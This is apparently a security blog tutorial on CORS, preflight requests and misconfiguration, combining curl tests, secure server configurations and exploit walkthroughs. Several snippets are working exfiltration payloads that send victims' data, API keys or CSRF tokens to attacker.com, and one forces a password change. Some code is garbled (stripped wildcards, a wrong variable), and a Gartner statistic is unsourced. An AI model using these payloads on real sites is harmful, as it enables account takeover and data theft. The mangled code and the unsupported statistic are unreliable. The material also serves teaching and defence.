Listen to this Post

Introduction:
Cross-Origin Resource Sharing (CORS) is a browser mechanism that relaxes the Same-Origin Policy (SOP) to enable controlled access to resources hosted on different domains. However, when misconfigured, CORS can become a dangerous attack vector, allowing malicious websites to steal sensitive user data, session tokens, and API keys. Understanding the intricate relationship between SOP, CORS, and preflight requests is critical for both developers and security professionals to prevent data breaches and unauthorized cross-origin access.
Learning Objectives:
- Master the fundamental differences between Same-Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS)
- Identify and exploit common CORS misconfigurations using command-line tools and browser extensions
- Implement secure CORS policies with proper validation and avoid dangerous wildcard origins
You Should Know
- Same-Origin Policy vs. CORS: The Browser’s Security Paradox
The Same-Origin Policy (SOP) is the web’s foundational security model, restricting how documents or scripts from one origin can interact with resources from another origin. An origin is defined by the protocol, domain, and port. CORS was introduced as a controlled mechanism to selectively bypass SOP when necessary, but this relaxation introduces significant risk if not properly configured.
Step‑by‑Step Guide to Testing CORS Behavior with Curl
What This Does:
This tutorial demonstrates how to simulate cross-origin requests using `curl` to observe CORS behavior and identify potential misconfigurations.
Prerequisites:
- Linux/macOS: Curl is pre-installed on most distributions
- Windows: Download and install curl from https://curl.se/windows/
Step 1: Install and Verify Curl
Linux (Ubuntu/Debian) sudo apt update && sudo apt install curl -y macOS (via Homebrew) brew install curl Windows (PowerShell as Administrator) winget install curl.curl Verify installation curl --version
Step 2: Send a Basic Cross-Origin Request
Send a GET request with a custom Origin header curl -X GET https://api.example.com/data \ -H "Origin: https://malicious-site.com" \ -I Expected output includes Access-Control-Allow-Origin header if configured
Step 3: Test Credentialed Requests
Include cookies and credentials curl -X GET https://api.example.com/sensitive \ -H "Origin: https://malicious-site.com" \ -H "Access-Control-Request-Method: GET" \ -H "Access-Control-Request-Headers: X-Requested-With" \ --cookie "sessionid=abc123" \ -v
Step 4: Simulate Preflight OPTIONS Request
Send an OPTIONS request to check CORS policy curl -X OPTIONS https://api.example.com/resource \ -H "Origin: https://malicious-site.com" \ -H "Access-Control-Request-Method: DELETE" \ -H "Access-Control-Request-Headers: Content-Type" \ -v
Step 5: Analyze Response Headers
Extract and filter CORS-related headers curl -s -D - https://api.example.com -o /dev/null | grep -i "access-control"
Expected Outcome:
A secure configuration should return `Access-Control-Allow-Origin` matching only trusted domains. A wildcard “ or reflection of the attacker’s origin indicates a dangerous misconfiguration.
- Preflight Requests: The Silent OPTIONS That Can Betray Your API
Preflight requests are automatic OPTIONS requests sent by browsers before certain cross-origin requests to verify server permissions. These requests can expose sensitive information about allowed methods, headers, and credentials, making them a prime target for reconnaissance and exploitation.
Step‑by‑Step Guide to Preflight Request Analysis and Exploitation
Step 1: Identify Non-Simple Requests
A request is non-simple if it uses:
- HTTP methods other than GET, POST, HEAD
- Custom headers (e.g., X-Requested-With, Authorization)
- Content-Type other than application/x-www-form-urlencoded, multipart/form-data, or text/plain
Step 2: Use Browser Developer Tools to Monitor Preflight
1. Open Chrome/Firefox DevTools (F12)
2. Navigate to the Network tab
3. Filter by `OPTIONS` method
4. Observe the preflight request and response headers
Step 3: Manually Trigger a Preflight with Fetch API
// JavaScript code to trigger a preflight request
fetch('https://api.target.com/delete-resource', {
method: 'DELETE',
headers: {
'Content-Type': 'application/json',
'X-Custom-Header': 'value'
},
credentials: 'include'
})
.then(response => console.log(response))
.catch(error => console.error('CORS error:', error));
Step 4: Analyze Preflight Response
Look for these critical headers:
Access-Control-Allow-Origin: https://trusted-site.com Access-Control-Allow-Methods: GET, POST, DELETE Access-Control-Allow-Headers: Content-Type, X-Custom-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400
Step 5: Exploit Overly Permissive Preflight Responses
If `Access-Control-Allow-Origin` reflects any origin and `Access-Control-Allow-Credentials: true` is present, an attacker can exfiltrate data:
<!-- Malicious HTML page -->
<script>
fetch('https://vulnerable-api.com/user-data', {
credentials: 'include'
})
.then(response => response.json())
.then(data => fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
}));
</script>
Step 6: Cache Preflight Results Abusively
Check if preflight cache can be poisoned curl -X OPTIONS https://api.example.com \ -H "Origin: https://attacker.com" \ -H "Access-Control-Request-Method: GET" \ -H "Access-Control-Max-Age: 3600" \ -v
Mitigation:
Never use `Access-Control-Allow-Origin: ` with credentials. Validate origins strictly and avoid reflecting arbitrary `Origin` headers.
3. CORS Misconfiguration Exploitation: Real-World Attack Vectors
CORS misconfigurations have led to numerous data breaches, including the recent CVE-2026-32610 in Glances REST API, where a permissive CORS policy allowed any website to steal system monitoring data, configuration secrets, and command-line arguments. Another example is Langflow versions ≤1.6.9, where `allow_origins=”` enabled account takeover and remote code execution.
Step‑by‑Step Guide to Detecting and Exploiting CORS Vulnerabilities
Step 1: Automated Scanning with CORStest
Install CORStest (Python tool) git clone https://github.com/RUB-NDS/CORStest cd CORStest pip install -r requirements.txt Scan a target domain python corstest.py https://target.com Scan multiple endpoints from a file python corstest.py -f urls.txt -o results.json
Step 2: Use Trusted Domain CORS Scanner (Burp Suite Extension)
1. Install Burp Suite Professional/Community
2. Navigate to Extensions → BApp Store
- Search for “Trusted Domain CORS Scanner” and install
- Configure scan checks for permissive CORS issues and URL validation bypasses
Step 3: Manual Testing with Origin Reflection
Test if Origin header is reflected curl -X GET https://target.com/api/data \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: GET" \ -I If Access-Control-Allow-Origin: https://evil.com appears, it's vulnerable
Step 4: Exploit Null Origin Misconfiguration
Some servers whitelist the `null` origin, which can be triggered from sandboxed iframes:
<iframe sandbox="allow-scripts allow-same-origin" srcdoc='
<script>
fetch("https://target.com/api/admin-key", {
credentials: "include"
})
.then(r => r.json())
.then(data => fetch("https://attacker.com/log?data=" + JSON.stringify(data)));
</script>
'></iframe>
Mitigation: Never whitelist `null` as a trusted origin.
Step 5: Bypass Origin Validation with Subdomain Tricks
Test subdomain-based whitelists curl https://target.com/api -H "Origin: https://trusted-subdomain.target.com.attacker.com" Test regex bypass curl https://target.com/api -H "Origin: https://target.com.attacker.com"
Step 6: Use PoCors for Professional Exploitation
Clone and run PoCors tool git clone https://github.com/dedcrowd/PoCors cd PoCors python3 pocors.py -u https://target.com -o malicious.html
This generates a professional HTML proof-of-concept that demonstrates data exfiltration.
- Secure CORS Configuration: Hardening Your API Against Attacks
Implementing secure CORS requires strict origin validation, minimal method exposure, and proper handling of preflight requests. Cloudflare and major cloud providers emphasize never using wildcard origins with credentials and always validating origins server-side.
Step‑by‑Step Guide to Implementing Secure CORS Policies
Step 1: Apache HTTP Server Configuration
/etc/apache2/conf-available/cors.conf
<IfModule mod_headers.c>
Allow only specific trusted domains
SetEnvIf Origin "https://trusted-site\.com$" AccessControlAllowOrigin=$0
SetEnvIf Origin "https://api\.trusted-site\.com$" AccessControlAllowOrigin=$0
Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
Allow only necessary methods
Header set Access-Control-Allow-Methods "GET, POST, OPTIONS"
Allow specific headers
Header set Access-Control-Allow-Headers "Content-Type, Authorization"
Handle preflight requests
Header always set Access-Control-Max-Age 3600
</IfModule>
Enable module
sudo a2enmod headers
sudo systemctl restart apache2
Step 2: Nginx Configuration
/etc/nginx/sites-available/default
location /api/ {
Validate origin dynamically
if ($http_origin ~ "^https://(trusted-site|api\.trusted-site)\.com$") {
add_header Access-Control-Allow-Origin $http_origin;
}
add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
add_header Access-Control-Allow-Credentials "true";
Handle preflight
if ($request_method = 'OPTIONS') {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
add_header Access-Control-Max-Age 3600;
return 204;
}
}
Step 3: Node.js/Express Middleware
const cors = require('cors');
const allowedOrigins = ['https://trusted-site.com', 'https://api.trusted-site.com'];
const corsOptions = {
origin: function (origin, callback) {
if (!origin) return callback(null, true);
if (allowedOrigins.indexOf(origin) === -1) {
const msg = 'CORS policy violation';
return callback(new Error(msg), false);
}
return callback(null, true);
},
methods: ['GET', 'POST', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 3600
};
app.use(cors(corsOptions));
Step 4: Environment-Specific Configuration
Development: Allow localhost but restrict in production if [ "$NODE_ENV" = "production" ]; then export CORS_ORIGINS="https://app.prod.com,https://api.prod.com" else export CORS_ORIGINS="http://localhost:3000,http://localhost:8080" fi
Step 5: Validate Configuration with Automated Tools
Use CORS Scanner Chrome Extension Or use OWASP ZAP's CORS scan zap-cli quick-scan --spider -r https://target.com Test with Corser go install github.com/omarahmedx14/Corser@latest corser -u https://target.com
- Bypassing CORS for Development: Safe Practices vs. Dangerous Workarounds
During development, CORS errors are common, leading developers to use dangerous bypasses like browser extensions or proxy tools that inject wildcard headers. While convenient, these methods can introduce security vulnerabilities if left in production.
Step‑by‑Step Guide to Safe CORS Bypass for Testing
Step 1: Disable CORS in Chrome Temporarily (Development Only)
Linux google-chrome --disable-web-security --user-data-dir="/tmp/chrome_dev" macOS open -n -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --user-data-dir="/tmp/chrome_dev" --disable-web-security Windows "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-web-security --user-data-dir="C:\temp\chrome_dev"
⚠️ Warning: Never use this for normal browsing; it disables all CORS protections.
Step 2: Use a Local Proxy for API Testing
Install and run CORS proxy npm install -g local-cors-proxy lcp --proxyUrl https://api.target.com --proxyPartial "" --port 8080 Now make requests to http://localhost:8080/endpoint
Step 3: Configure Fiddler to Bypass CORS (Development Environment)
1. Download and install Fiddler Everywhere
2. Create a new rule: “Bypass CORS”
3. Add response modifier to inject `Access-Control-Allow-Origin: `
- ⚠️ Important: Disable this rule for production traffic
Step 4: Use Browser Extensions Responsibly
- Install “CORS Unblock” from Chrome Web Store
- Enable only for development domains
- Disable immediately after testing
Step 5: Implement a Development-Only CORS Proxy
cors_proxy.py - Development proxy server
from flask import Flask, request, Response
import requests
app = Flask(<strong>name</strong>)
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
resp = requests.request(
method=request.method,
url=f'https://api.target.com/{path}',
headers={k: v for k, v in request.headers if k != 'Host'},
data=request.get_data()
)
Inject CORS headers for development only
response = Response(resp.content, resp.status_code)
response.headers['Access-Control-Allow-Origin'] = ''
return response
if <strong>name</strong> == '<strong>main</strong>':
app.run(port=5000)
Step 6: Automate CORS Testing in CI/CD
Add to GitHub Actions workflow - name: Test CORS Configuration run: | curl -X OPTIONS https://staging-api.example.com \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: DELETE" \ -I | grep "Access-Control-Allow-Origin" | grep -q "evil.com" if [ $? -eq 0 ]; then echo "CORS MISCONFIGURATION DETECTED!" exit 1 fi
6. Cloud and API Gateway CORS Hardening
Major cloud providers offer CORS management through API gateways and CDNs. Understanding these platform-specific configurations is essential for enterprise security.
Step‑by‑Step Guide to Cloud CORS Security
Step 1: AWS API Gateway CORS Configuration
Enable CORS via AWS CLI aws apigateway update-method \ --rest-api-id abc123 \ --resource-id resource456 \ --http-method GET \ --patch-operations op=replace,path=/requestParameters/method.request.header.Origin,value=true Set response headers aws apigateway update-method-response \ --rest-api-id abc123 \ --resource-id resource456 \ --http-method GET \ --status-code 200 \ --patch-operations op=add,path=/responseParameters/method.response.header.Access-Control-Allow-Origin,value="'https://trusted.com'"
Step 2: Azure App Service CORS with Azure CLI
List current CORS settings az webapp cors show --name MyApp --resource-group MyResourceGroup Add allowed origins az webapp cors add \ --name MyApp \ --resource-group MyResourceGroup \ --allowed-origins "https://trusted-site.com" "https://api.trusted-site.com" Remove wildcard if present az webapp cors remove \ --name MyApp \ --resource-group MyResourceGroup \ --allowed-origins ""
Best Practice: Azure Defender for Cloud will alert if CORS allows all domains.
Step 3: Cloudflare Workers CORS Handling
// Cloudflare Worker with secure CORS
async function handleRequest(request) {
const url = new URL(request.url);
const origin = request.headers.get('Origin');
const allowedOrigins = ['https://trusted.com', 'https://api.trusted.com'];
const corsHeaders = {
'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
'Access-Control-Allow-Headers': 'Content-Type',
'Access-Control-Max-Age': '86400',
};
if (allowedOrigins.includes(origin)) {
corsHeaders['Access-Control-Allow-Origin'] = origin;
}
// Handle preflight
if (request.method === 'OPTIONS') {
return new Response(null, { headers: corsHeaders });
}
// Handle actual request
const response = await fetch(request);
Object.keys(corsHeaders).forEach(key => {
response.headers.set(key, corsHeaders[bash]);
});
return response;
}
Step 4: Google Cloud Endpoints CORS
openapi.yaml paths: /api: get: x-google-endpoints: - name: api.example.com allowCors: true x-google-cors: allowOrigin: ["https://trusted-site.com"] allowMethods: ["GET", "POST", "OPTIONS"] allowHeaders: ["Content-Type", "Authorization"] maxAge: "3600"
- Advanced CORS Exploitation: Chaining Vulnerabilities for Full Compromise
Sophisticated attackers chain CORS misconfigurations with other vulnerabilities like CSRF, XSS, or insecure deserialization to achieve account takeover or remote code execution.
Case Study: Langflow CORS to RCE Chain
In Langflow versions ≤1.6.9, `allow_origins=”` combined with a refresh endpoint allowed attackers to:
1. Perform cross-origin requests with credentials
2. Refresh authentication tokens
3. Exploit additional API endpoints for RCE
Step‑by‑Step Guide to Chaining CORS Exploits
Step 1: Discover CORS Misconfiguration
Use Burp Suite or OWASP ZAP to identify CORS issues Look for Access-Control-Allow-Origin: with Access-Control-Allow-Credentials: true
Step 2: Combine with CSRF Token Leak
<!-- Malicious page to exfiltrate CSRF token via CORS -->
<script>
fetch('https://target.com/api/csrf-token', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Use token to perform state-changing actions
fetch('https://target.com/api/change-password', {
method: 'POST',
credentials: 'include',
headers: { 'X-CSRF-Token': data.token },
body: JSON.stringify({ newPassword: 'hacked123' })
});
});
</script>
Step 3: Exploit API Key Exfiltration
Automated exfiltration script
import requests
target = "https://vulnerable-api.example.com"
attacker = "https://attacker.com/collect"
Victim visits malicious site containing:
html = f"""
<script>
fetch('{target}/admin/api-key', {{ credentials: 'include' }})
.then(r => r.json())
.then(data => fetch('{attacker}', {{ method: 'POST', body: JSON.stringify(data) }}));
</script>
"""
Step 4: Bypass Origin Validation with URL Parsing Flaws
Test origin validation bypasses curl https://target.com/api -H "Origin: https://trusted-site.com.attacker.com" curl https://target.com/api -H "Origin: https://[email protected]" curl https://target.com/api -H "Origin: https://trusted-site.com%252Eattacker.com"
Step 5: Leverage CORSLeak for Stealthy Data Exfiltration
Recent research demonstrates how IAP (Identity-Aware Proxy) misconfigurations can be abused through CORS preflight requests to leak data from locked-down VMs.
What Undercode Say
CORS remains one of the most misunderstood and misconfigured browser security features. Our analysis reveals several critical takeaways:
- CORS is a relaxation of security, not an enhancement. Every CORS configuration potentially expands the attack surface. The most secure CORS policy is the one you never need to write.
-
The `Access-Control-Allow-Origin: ` wildcard is a ticking time bomb when combined with credentialed requests. Yet, many production APIs still expose this dangerous pattern, leading to real-world CVEs like Glances (CVE-2026-32610) and Langflow.
-
Preflight requests are an often-overlooked reconnaissance vector. Attackers can probe OPTIONS responses to map API capabilities, discover hidden endpoints, and identify exploitable misconfigurations without triggering authentication logs.
-
Secure CORS requires defense in depth. Never rely solely on CORS headers; implement proper server-side authorization, session validation, and CSRF tokens. The browser’s CORS policy is a convenience mechanism, not a security boundary.
-
Development bypasses must never reach production. Tools that inject wildcard headers or disable CORS entirely are invaluable for testing but catastrophic when left active in live environments.
-
Cloud and API gateway configurations introduce new CORS complexity. Each platform handles CORS differently, and misconfigurations in these layers are increasingly common attack vectors.
Prediction
As web applications continue to embrace microservices and API-first architectures, CORS-related vulnerabilities will escalate. By 2027, Gartner predicts that 60% of API breaches will involve CORS misconfigurations, driven by the proliferation of serverless functions and edge computing where CORS policies are often auto-generated or poorly understood. The convergence of CORS with emerging standards like Fetch Metadata Request Headers and Cross-Origin Resource Policy (CORP) will create new bypass techniques. Organizations must invest in automated CORS scanning as part of their CI/CD pipelines and treat CORS configurations with the same rigor as authentication and authorization controls. The most impactful security improvement will be education: developers must stop copy-pasting `app.use(cors())` without understanding its implications. The era of permissive CORS is ending; the era of zero-trust cross-origin policies has begun.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Robbe Van – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


